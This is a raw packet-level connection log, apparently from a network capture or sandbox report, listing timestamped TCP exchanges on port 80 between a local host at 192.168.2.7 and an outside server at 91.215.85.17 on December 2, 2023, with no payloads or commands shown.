Dec 2, 2023 18:01:41.935925007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935933113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935940981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935997963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.935997963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.935997963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.936038971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936048985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936060905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936110973 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.936233997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936242104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936331034 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.936367989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936374903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936387062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936393023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936403990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936410904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936419010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936425924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936429024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.936434031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936440945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936449051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936460018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936464071 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.936464071 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.936466932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936475992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936482906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936490059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.936510086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.936525106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.936525106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.936548948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.936548948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.937062979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937072039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937084913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937092066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937098026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937103987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937109947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937117100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937134027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.937153101 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.937156916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937165022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937177896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937186003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937192917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937201023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937216997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.937216997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.937216997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.937251091 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.937278032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937285900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937300920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937306881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937318087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937328100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937344074 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.937344074 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.937422991 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.937788963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.937859058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.141277075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141307116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141330004 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.141356945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.141411066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141418934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141432047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141439915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141447067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141454935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141482115 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.141482115 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.141488075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141496897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141516924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141525984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141532898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141546965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.141546965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.141578913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.141585112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141593933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141601086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141609907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141658068 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.141658068 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.141658068 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.141931057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141959906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141968012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141980886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.141998053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.142014027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.142057896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142070055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142126083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142133951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142141104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142147064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142155886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142162085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142168999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142175913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142210960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142314911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.142314911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.142328024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142337084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142349005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142364979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142376900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142385006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142394066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142405987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142450094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.142451048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.142451048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.142451048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.142451048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.142549992 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.166434050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.166477919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.166533947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.166558981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.166589975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.166599035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.166605949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.166639090 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.166639090 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.166656017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.166663885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.166688919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.166728973 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.166728973 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.166997910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.167042017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.167077065 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.167098999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.167105913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.167119026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.167126894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.167134047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.167148113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.167186975 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.167186975 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.167186975 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.167212009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.167218924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.167220116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.167233944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.167259932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.167262077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.167294979 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.167367935 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.168103933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.168507099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.327805042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.371232033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371248007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371323109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.371340990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371350050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371362925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371370077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371382952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371391058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371397972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371406078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371412039 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.371412039 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.371464968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371473074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371485949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371503115 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.371520042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371527910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371546984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.371546984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.371653080 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.371942997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.371952057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.372005939 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.372122049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.372132063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.372144938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.372153044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.372165918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.372173071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.372226954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.372235060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.372246027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.372255087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.372255087 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.372255087 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.372489929 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.372489929 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.372596025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.372725964 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.397866964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397880077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397886992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397893906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397902012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397908926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397916079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397923946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397934914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397942066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397948027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397954941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397967100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397974014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397980928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.397980928 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.397980928 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.397989035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398004055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398011923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398005962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.398024082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398031950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398046970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398051977 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.398051977 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.398053885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398068905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398092985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398093939 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.398094893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.398094893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.398114920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.398152113 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.398194075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398202896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398245096 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.398264885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398272991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398318052 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.398340940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398715973 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.398731947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398739100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398751020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398758888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398766041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398777962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398785114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398788929 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.398792982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398801088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398808956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.398837090 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.398837090 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.399013996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.399022102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.399034023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.399040937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.399046898 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.399048090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.399055958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.399063110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.399070024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.399118900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.399218082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.399225950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.399290085 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.399406910 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.399513960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.399523020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.399650097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.400840044 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.600841999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.600882053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.600893974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.600905895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.600918055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.600929976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.601070881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.601083040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.601089954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.601089954 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.601089954 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.601103067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.601116896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.601130009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.601145029 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.601145029 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.601174116 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.601752996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.601802111 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.601821899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.601835966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.601881981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.601881981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.602056026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602070093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602081060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602093935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602106094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602113008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.602122068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602133989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602148056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602168083 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.602168083 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.602168083 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.602217913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.602329016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602381945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.602466106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602574110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602586985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602598906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602612019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602623940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602629900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.602629900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.602636099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602649927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.602689981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.602690935 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.602690935 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.603012085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.603135109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.603177071 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.627696037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.627711058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.627732992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.627746105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.627758026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.627764940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.627770901 CET	80	49713	91.215.85.17	192.168.2.7
